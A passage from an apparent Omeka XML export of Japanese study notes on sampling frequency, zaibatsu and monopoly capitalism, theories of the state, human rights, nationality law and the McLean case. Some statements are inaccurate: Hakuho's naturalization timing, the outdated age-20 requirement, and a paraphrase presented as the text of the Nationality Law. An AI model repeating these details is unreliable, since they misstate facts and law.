&lt;li&gt;サンプリング定理より、ディジタル信号処理を用いて音楽信号を扱うためには、少なくとも &lt;strong&gt;(20 × 2) kHz = 40 kHz&lt;/strong&gt; 以上のサンプリング周波数が必要&lt;/li&gt;
&lt;li&gt;実際のシステムでは、マージンを考慮して &lt;strong&gt;F_s = 44.1 kHz&lt;/strong&gt; が採用されている&lt;/li&gt;
&lt;li&gt;ナイキスト周波数: F_N = 22.05 kHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;44.1 kHz が選択された理由&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ビデオ信号（NTSC: 60 Hz、PAL: 50 Hz）との互換性を考慮&lt;/li&gt;
&lt;li&gt;60 Hz × 735 = 44.1 kHz（NTSC との互換性）&lt;/li&gt;
&lt;li&gt;50 Hz × 882 = 44.1 kHz（PAL との互換性）&lt;/li&gt;
&lt;li&gt;これにより、オーディオとビデオの同期が容易になる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;フィルタ設計&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アナログプリフィルタ: 22.05 kHz 以上の成分を除去&lt;/li&gt;
&lt;li&gt;アナログポストフィルタ: 22.05 kHz 以上の成分を除去&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;その他の応用例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;デジタルオーディオ（高音質）&lt;/strong&gt;: 48 kHz, 96 kHz, 192 kHz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デジタルビデオ&lt;/strong&gt;: 映像信号のサンプリング周波数は、映像の解像度やフレームレートに依存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無線通信&lt;/strong&gt;: 搬送波周波数や帯域幅に応じて適切なサンプリング周波数を選択&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1900">
                <text>デジタル信号処理８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1901">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1902">
                <text>2025-11-10</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1903">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="120" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1899">
              <text>&lt;h2&gt;独占資本主義と財閥の形成&lt;/h2&gt;
&lt;p&gt;資本主義経済においては、景気循環（好況と不況の繰り返し）や、極端な経済危機である世界大恐慌（1929年など）の発生が、避けがたい構造的な特徴として現れます。これは、資本主義の本質が利益追求を目的とした自由競争にあり、生産と消費のバランスが崩れることで周期的な過剰生産と不況を生み出すためです。さらに、深刻な不況や恐慌の時期には企業間の激しい競争と淘汰が進み、資本や生産手段を持つ強力な企業のみが生き残り、経営基盤の弱い企業は倒産・合併等によって市場から退出します。この過程は「企業の集中と集積」と呼ばれ、産業構造や経済の枠組みを大きく変化させます。&lt;/p&gt;
&lt;p&gt;資本主義の歴史の初期段階である産業資本主義（18～19世紀ごろ）は自由競争が原則でした。多くの中小企業や個人事業主が市場で競い合い、資本や生産手段は分散していました。しかし19世紀後半から20世紀にかけて、不況や恐慌を繰り返すたびに、規模の大きな企業が有利となる状況が加速し、資本・生産の集中（＝資本や工場などが少数の企業に集まる現象）と集積（＝それらが一地域や一企業グループ内に集まる現象）が飛躍的に進行します。その結果、自由競争を経て極端に大きくなった少数の企業や企業集団（財閥）が市場支配力を急速に強め、「独占資本主義」と呼ばれる新たな段階へと到達します。&lt;/p&gt;
&lt;p&gt;この独占資本主義の時代になると、単独または少数の大企業が特定産業や経済全体を事実上コントロールする現象（独占・寡占）が一般化します。その支配形態は①合併・買収（M&amp;amp;A）、②カルテル（業界内の価格協定や生産調整）、③トラスト（複数企業の統合による巨大企業の形成）、④コングロマリット（異業種間の企業集団）、等の形式で現れ、社会や政治にも大きな影響を与えるようになりました。&lt;/p&gt;

&lt;h3&gt;アメリカの独占企業・財閥の発展と特徴&lt;/h3&gt;
&lt;h4&gt;独占の形成過程&lt;/h4&gt;
&lt;p&gt;アメリカ合衆国では19世紀後半から20世紀初頭にかけ、産業の急速な発展とともに「自由放任主義（レッセ・フェール）」のもとで企業の自由競争が奨励されました。大量生産や全米規模の市場拡大に伴い、油田・鉄鋼・鉄道・化学・金融などの分野において、成功した大企業家たちが競合他社を吸収・合併しながら着実に成長しました。&lt;/p&gt;
&lt;h4&gt;有名な独占企業・財閥&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ジョン・D・ロックフェラー&lt;/strong&gt;率いる「スタンダード・オイル」は、石油の生産・精製・流通を垂直統合し、アメリカ石油精製市場の9割以上を支配しました。この独占によって小規模企業を圧倒し、価格操作や市場排除などの独占的手法を用いました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;J.P.モルガン&lt;/strong&gt;は金融業界の中心人物であると同時に、鉄道・鉄鋼・電信産業の統合を進め、金融資本による産業支配（モルガン財閥）を象徴する存在になりました。また、アンドリュー・カーネギーの「カーネギー・スチール」を吸収し、世界最大の製鋼会社「USスチール（合衆国製鉄）」を設立しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デュポン社&lt;/strong&gt;は19世紀末から20世紀にかけて火薬や化学工業分野で発展し、第一次・第二次世界大戦では軍需産業の中核を担いました。その後もプラスチックや合成繊維など化学製品で先端を走り続けました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メロン財閥&lt;/strong&gt;は鉱山、銀行、石油、アルミニウム（アルコア社）など幅広い分野に影響力を拡大しました。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これら「巨大独占企業・財閥」は、雇用や技術革新など経済発展を牽引した一方で、中小企業や消費者への不利益、価格の人為的操作、経済格差の拡大を招くなどの社会問題も生み出しました。そのため20世紀初頭には、「反トラスト法（シャーマン法・クレイトン法など）」によって価格協定や市場支配などの独占行為が厳しく規制されるようになりました。しかし規制後も企業グループや多国籍企業として高い影響力は維持され続けています。&lt;/p&gt;

&lt;h3&gt;日本における独占企業・財閥の歴史的発展&lt;/h3&gt;
&lt;h4&gt;財閥の起源と形成&lt;/h4&gt;
&lt;p&gt;日本では明治維新を契機とした近代化の推進（殖産興業政策等）による産業発展に伴い、国家の保護や支援のもとで「財閥」と呼ばれる巨大独占企業集団が成長しました。財閥は創業家とその経営層を中心とする家族企業的色彩を強く持ち、持株会社体制で数多くの関係企業（銀行・製造業・商社・鉱業など）をグループ化していました。この企業グループ全体が経済・社会・政治への強い影響力を持った点が、欧米の単一巨大企業（トラスト型）との違いとも言えます。&lt;/p&gt;
&lt;h4&gt;主な財閥&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;三菱財閥（岩崎家）&lt;/strong&gt;：明治初期に創業され、鉱山・造船・銀行・保険・商社等に巨大な影響力を持つ経済集団となりました。日本の近代産業発展と対外貿易の拡大を強力に牽引しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三井財閥（三井家）&lt;/strong&gt;：江戸時代からの商人資本に始まり、明治期以降は金融、鉱業、流通、繊維などさまざまな業種へ多角化し、日本資本主義発展の礎となりました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;住友財閥（住友家）&lt;/strong&gt;：銅山経営を基盤に、のちに銀行、化学、重工業、電線などにも進出し、グループとして大きな経済力をもつようになりました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安田財閥（安田家）&lt;/strong&gt;：金融機関を中心に、保険や不動産などの分野における強大な経済力を持ち、「四大財閥」の一角を占めました。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの財閥グループは、持株会社を中心に系列銀行を通じた資金調達と、取巻く産業企業を客観的に結び付けることで、日本経済の広範囲な分野にまたがる支配構造を形成しました。特に財閥の存在は、国家の産業政策や軍需産業とも結びつき、大正・昭和初期にかけて経済成長を加速させ、政財界にも絶大な影響力を与えることとなりました。&lt;/p&gt;
&lt;h4&gt;財閥解体とその後&lt;/h4&gt;
&lt;p&gt;第二次世界大戦後、連合国による占領政策（経済民主化政策）の一環として財閥解体（持株会社の解散・株式の分散・経営分離など）が断行されました。しかし元財閥企業同士による人的・資本的結びつきは維持され、戦後も「企業グループ（旧財閥系）」として日本産業の中核を担い続けてきました。現代でも三菱、三井、住友系企業などはそれぞれ「企業集団」を形成し、日本経済の構造に深く根ざしています。&lt;/p&gt;

&lt;h3&gt;独占企業・財閥の意義と課題&lt;/h3&gt;
&lt;p&gt;このような独占企業や財閥の形成は、近代経済発展や資本の効率的な運用、大規模な技術革新をもたらす一方で、格差拡大、企業間・個人間の機会不平等、消費者利益の損失、さらには政治や社会への過度な影響力など、多くの課題も伴いました。その結果、各国とも独占規制や経済民主化政策（反トラスト法、カルテル規制、公正取引委員会設置など）を強化する方向へと舵を切ることとなったのです。&lt;/p&gt;
&lt;p&gt;現代の資本主義経済においても、巨大企業・グループによる市場支配や格差拡大と、その是正・規制のあり方をどうバランスさせていくかが、引き続き大きな社会的・経済的テーマとなっています。&lt;/p&gt;

&lt;h2&gt;国家観による国家の役割&lt;/h2&gt;
&lt;h3&gt;夜警国家観（最小国家論）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 19世紀初頭から20世紀初頭&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家の役割を治安維持（警察）と国防（軍隊）に限定し、経済活動への介入を最小限にとどめる国家観&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;国家の役割：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;治安の維持（犯罪の取り締まり）：&lt;/strong&gt; 警察による社会秩序の維持&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外交関係の処理対応：&lt;/strong&gt; 国防（軍隊）と外交&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経済活動に不介入：&lt;/strong&gt; 市場経済への政府介入を最小限に
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;契約自由の原則：&lt;/strong&gt; 労働条件は労働者と経営者で自由に決められる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自由放任主義（レッセフェール）：&lt;/strong&gt; 市場メカニズムに任せる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消極的国家：&lt;/strong&gt; 国家は「守る」ことに専念し、「与える」ことはしない&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;個人の自由と経済活動の自由を重視&lt;/li&gt;
&lt;li&gt;国家は個人の自由を侵害しない&lt;/li&gt;
&lt;li&gt;市場経済への政府介入を制限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;問題点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;貧富の格差が拡大&lt;/li&gt;
&lt;li&gt;労働者の過酷な労働条件&lt;/li&gt;
&lt;li&gt;経済恐慌への対処が不十分&lt;/li&gt;
&lt;li&gt;社会的弱者の救済が不足&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;福祉国家観&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 20世紀（特に1929年大恐慌以降）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家が積極的に経済活動に介入し、社会保障を通じて国民の生活を保障する国家観&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;国家の役割：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;治安の維持（犯罪の取り締まり）：&lt;/strong&gt; 警察による社会秩序の維持&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外交関係の処理対応：&lt;/strong&gt; 国防（軍隊）と外交&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経済活動に介入：&lt;/strong&gt; 国家が経済や社会に積極的に介入
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最低賃金法：&lt;/strong&gt; 最低賃金の規制により労働者の生活を保障&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働基準法：&lt;/strong&gt; 労働時間の規制（週40時間など）、労働条件の最低基準を設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会保障制度：&lt;/strong&gt; 失業保険、年金、医療保険、生活保護などの充実&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経済政策の実施：&lt;/strong&gt; 景気調整政策、公共事業による雇用創出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;格差是正：&lt;/strong&gt; 累進課税、社会保険制度による富の再分配&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;積極的国家：&lt;/strong&gt; 国家が経済や社会に積極的に介入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会保障の充実：&lt;/strong&gt; 国民の最低限の生活を保障&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経済政策の実施：&lt;/strong&gt; 景気調整政策による雇用創出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;成立の背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;大恐慌（1929年）：&lt;/strong&gt; 自由放任経済の限界が露呈&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;世界大戦後の混乱：&lt;/strong&gt; 戦災や経済混乱への対応が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働運動の高まり：&lt;/strong&gt; 労働者の権利要求の増大&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国民の最低限の生活を保障&lt;/li&gt;
&lt;li&gt;社会の安定を維持&lt;/li&gt;
&lt;li&gt;日本国憲法第25条（生存権）に反映&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;基本的人権の意義と内容&lt;/h2&gt;
&lt;h3&gt;自由権の意義と内容&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;自由権とは&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;個人が国家権力から不当に干渉されずに、自由に行動・思想・信仰などを持つことができる権利です。これは、個人の「自由な空間（バウンダリー）」を国家の介入から守るために不可欠な権利です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例：宗教の自由&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;たとえば、国家が「この宗教は効果がないから信じるな」「これは間違っているから広めるな」といった規制や介入を行った場合、本来は個人の信仰・表現の自由によってこのような国家の介入が排除（保障）されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;まとめ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自由権は国家権力から「自由でいること」を保障する根本的な権利であり、その内容には思想・良心の自由や、信教の自由、表現の自由などが含まれます。国家の干渉・介入を排除することによって、個人が自己の価値観・信念に基づいて自由に生きることが可能となります。&lt;/p&gt;
&lt;h3&gt;生存権の意義と役割&lt;/h3&gt;
&lt;p&gt;生存権は、20世紀以降の「福祉国家」思想に基づいて導入された権利であり、日本国憲法第25条に代表されます。これは、単に国家の「不介入」を求める自由権とは異なり、国家に対して積極的な行為（社会保障、福祉政策など）を義務づける権利です。&lt;/p&gt;
&lt;h4&gt;日本国憲法第25条（生存権）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;第25条&lt;/strong&gt;&lt;br /&gt;1. すべての国民は、健康で文化的な最低限度の生活を営む権利を有する。&lt;br /&gt;2. 国は、すべての生活部面について、社会福祉、社会保障及び公衆衛生の向上及び増進に努めなければならない。&lt;/p&gt;
&lt;p&gt;第1項は、すべての国民に健康で文化的な最低限度の生活を営む権利を保障しています。第2項は、国に対して社会福祉、社会保障及び公衆衛生の向上及び増進に努める義務を課しています。&lt;/p&gt;
&lt;p&gt;この生存権の性質・役割について整理すると以下の通りです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;社会的弱者の保護&lt;/strong&gt;&lt;br /&gt;貧困、病気、障害、失業など、個人の自助努力だけでは最低限度の生活が維持できない場合、国家が積極的に社会保障を提供し、弱者を支援する役割を持ちます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;個人の尊厳の保障&lt;/strong&gt;&lt;br /&gt;すべての人が人間らしい暮らしができるよう、国家が医療・福祉・教育などの制度を整えることで、個人の尊厳を守ります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会的格差の是正&lt;/strong&gt;&lt;br /&gt;生存権の実現は、社会における格差（貧富の差、就労機会、教育機会など）を是正し、すべての人が基本的な生活を送れるようにする仕組みです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国家の補償的役割&lt;/strong&gt;&lt;br /&gt;弱者が経済的・社会的理由等によって生活できない場合、その「不足分」を国家が補償（セーフティネット）します。これにより、単に困窮状態を固定化するのではなく、「自立」や「社会参加」へとつながる支援を行います。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このように、生存権は「社会的弱者が個人の尊厳を保って生きていくために国家が積極的にその生活を保障する」という現代福祉国家の基本理念を体現し、現代法において重要な役割を果たしています。&lt;/p&gt;

&lt;h2&gt;基本的人権の享有主体&lt;/h2&gt;
&lt;h3&gt;基本的人権の普遍性&lt;/h3&gt;
&lt;p&gt;基本的人権は、人種、性別、社会的地位と関係なしに平等に享有できる権利であり、普遍性を持つ権利です。この権利は国民を主体として保障されるという性質を持ちます。&lt;/p&gt;
&lt;h3&gt;国民の定義&lt;/h3&gt;
&lt;p&gt;国民は国籍法の規定により定義されます。国籍法は、出生による血統主義の国籍取得と帰化による国籍取得に分類されます。&lt;/p&gt;
&lt;h4&gt;出生による国籍取得&lt;/h4&gt;
&lt;p&gt;日本国籍を「j」、外国籍を「f」、母を「M」、父を「F」、子供を「C」と表すと、出生による国籍取得では以下のようになります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jF|jM → jC（父が日本国籍、母が日本国籍の場合、子供は日本国籍）&lt;/li&gt;
&lt;li&gt;jF|fM → jC（父が日本国籍、母が外国籍の場合、子供は日本国籍）&lt;/li&gt;
&lt;li&gt;fF|jM → jC（父が外国籍、母が日本国籍の場合、子供は日本国籍）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上記以外の組み合わせ（fF|fM → fC）の場合は、子供は外国籍となります。&lt;/p&gt;
&lt;h4&gt;帰化による国籍取得&lt;/h4&gt;
&lt;p&gt;また、日本への帰化の例として、日系以外の著名な外国人には、たとえば元エジプト出身で日本のバラエティ番組やSNSを中心に活躍するタレントのフィフィさんや、モンゴル出身の元横綱で現在は間垣親方（元・白鵬翔）として日本の大相撲界で指導者となっている白鵬翔さんなどが挙げられます。フィフィさんは日本滞在の長さや日本社会への深い理解・貢献を背景に帰化し、日本国籍を取得しました。白鵬さんの場合は、大相撲の親方になるためには日本国籍が必要という規定があり、現役引退後に帰化して間垣親方となりました。&lt;/p&gt;
&lt;p&gt;日本国籍の帰化取得には、法務大臣への申請が必要で、主な条件として「日本国内に5年以上引き続き住所を有していること（在留期間要件）」「20歳以上であること（成年要件）」「素行が善良であること」「自己または生計を共にする家族の生活を維持できる資産や技能を有していること（生計要件）」などが定められています。さらに、帰化申請時には日本語能力も一定程度（小学校低学年程度以上）が求められるほか、日本社会への適応や反社会的勢力との無関係などもチェックされます。手続きを経て法務大臣の許可が下りると正式に日本国籍を取得し、日本人と同じ身分を有することができます。このように帰化は、多様な背景を持つ外国人が日本社会の一員となる重要な制度であり、実際に各界で活躍する元外国籍の著名人の例が多数存在しています。&lt;/p&gt;
&lt;h4&gt;参考：国籍法（抜粋）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;国籍法（昭和25年法律第147号）より主な条文抜粋&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;第1条（国籍の取得）&lt;/strong&gt;&lt;br /&gt;日本国民は、この法律の定めるところにより日本の国籍を有する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第2条（出生による国籍の取得）&lt;/strong&gt;&lt;br /&gt;次の各号のいずれかに該当する者は、出生によって日本国籍を取得する。&lt;br /&gt;1. 父または母が日本国民であるとき。&lt;br /&gt;2. 日本で生まれ、父母がともに不明であるとき又は国籍を有しないとき。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第3条（認知による国籍の取得）&lt;/strong&gt;&lt;br /&gt;出生後に父が認知した子で、認知の時に父又は母が日本国民であった場合は、その子が未成年の間に法務大臣に届け出ることにより、日本国籍を取得できる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第4条（届出による国籍の取得）&lt;/strong&gt;&lt;br /&gt;日本で生まれ、国籍を有しない者は、一定の条件の下で法務大臣に届け出ることにより、日本国籍を取得できる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第5条（帰化）&lt;/strong&gt;&lt;br /&gt;外国人は、次の条件を満たせば帰化によって日本国籍を取得できる。&lt;br /&gt;1. 住所要件：引き続き5年以上日本に住所を有すること。&lt;br /&gt;2. 能力要件：20歳以上で本国法によって行為能力を有すること。&lt;br /&gt;3. 素行が善良であること。&lt;br /&gt;4. 生計要件：自己又は生計を共にする親族が生活できる資産または技能を有すること。&lt;br /&gt;（そのほか、重国籍の防止や日本国政府に対する反逆目的でないこと等）&lt;/p&gt;
&lt;p&gt;※このほか細部にわたり諸条文・条件が記載されています。全文は法務省公式サイト等を参照してください。&lt;/p&gt;
&lt;h3&gt;外国人の人権保障&lt;/h3&gt;
&lt;p&gt;人権は国家成立以前に存在する権利という解釈のため、外国人と日本人にも享有されるものであり、憲法第98条（国際協調主義）に基づく考え方でもあります。&lt;/p&gt;
&lt;h4&gt;日本国憲法第98条（最高法規）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;第98条&lt;/strong&gt;&lt;br /&gt;この憲法は、国の最高法規であつて、その条規に反する法律、命令、詔勅及び国務に関するその他の行為の全部又は一部は、その効力を有しない。&lt;br /&gt;日本国が締結した条約及び確立された国際法規は、これを誠実に遵守することを必要とする。&lt;/p&gt;
&lt;p&gt;この条文の第2項は、日本国が締結した条約及び確立された国際法規を誠実に遵守することを定めており、国際協調主義の理念を明示しています。この理念に基づき、国際人権規約などで保障される人権は、外国人にも適用されるべきものとして理解されています。&lt;/p&gt;
&lt;p&gt;しかし、例外があります。これは「マクリーン事件判決」として知られるものです。&lt;/p&gt;
&lt;h4&gt;マクリーン事件判決&lt;/h4&gt;
&lt;p&gt;マクリーン事件は、イギリス国籍のマクリーン氏が1969年に日本での在留資格の更新を拒否されたことから始まった行政訴訟です。マクリーン氏は日本国内で政治活動（ベトナム反戦運動など）に参加していたことが問題視され、出入国管理令に基づく在留期間更新不許可処分を受けました。&lt;/p&gt;
&lt;p&gt;この事件で争点となったのは、「外国人にも日本国憲法が保障する基本的人権が及ぶのか」および「外国人にも表現の自由や集会の自由が認められるのか」という点です。&lt;/p&gt;
&lt;p&gt;最高裁判所は1978年10月4日の判決（いわゆるマクリーン判決）で、外国人も在留中は一定範囲で憲法上の基本的人権を保障されると認めました。ただし、その保障の範囲は日本人より制約されており、公共の福祉や入国管理政策上の要請などにより正当な制限を受けうるとされました。たとえば在留資格の更新や在留の許否などについては、国の裁量が広く認められるという判断が示されています。&lt;/p&gt;
&lt;p&gt;このマクリーン事件判決は、日本における外国人の人権保障と行政裁量のバランスを示した重要な判例の一つとなっています。&lt;/p&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1895">
                <text>日本国憲法７</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1896">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1897">
                <text>2025-11-07</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1898">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可&#13;
</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="119" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1894">
              <text>&lt;h1&gt;憲法の歴史&lt;/h1&gt;
&lt;h2&gt;1. 絶対王政（16世紀～18世紀）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 16世紀から18世紀にかけてヨーロッパで広く見られた体制&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 君主が神から権力を授けられたとする「王権神授説」に基づき、国王が立法・行政・司法の全権力を独占した政治体制&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歴史的背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;フランスのルイ14世（太陽王）が典型的な例として知られる&lt;/li&gt;
&lt;li&gt;「朕は国家なり」（L'État, c'est moi）という言葉に象徴される（※この言葉はルイ14世の専制政治を象徴するものとして広く知られているが、実際の発言については議論がある）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;君主の権力が憲法によって制限されない&lt;/li&gt;
&lt;li&gt;国民の権利が十分に保障されない&lt;/li&gt;
&lt;li&gt;課税権、立法権、裁判権を君主が独占&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;問題点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国民の自由や権利が侵害される&lt;/li&gt;
&lt;li&gt;恣意的な支配が可能&lt;/li&gt;
&lt;li&gt;社会的不平等が固定化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;後の立憲主義への転換の契機となった&lt;/li&gt;
&lt;li&gt;フランス革命やイギリス名誉革命への導火線となった&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. イギリス名誉革命と権利の章典（1688-1689年）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 17世紀後半（1688-1689年）&lt;/p&gt;
